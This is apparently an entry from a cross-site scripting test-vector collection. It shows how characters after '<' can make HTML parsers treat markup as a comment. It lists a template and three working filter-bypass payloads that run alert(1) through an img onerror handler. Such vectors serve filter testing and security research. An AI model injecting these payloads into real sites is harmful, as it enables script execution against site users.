This vector shows which characters can be used after the "<" character and act as an HTML comment
<$[chr] <a/b="--><found>"
<! <a/b="--><img/src/onerror=alert(1)>"
</ <a/b="--><img/src/onerror=alert(1)>"
<? <a/b="--><img/src/onerror=alert(1)>"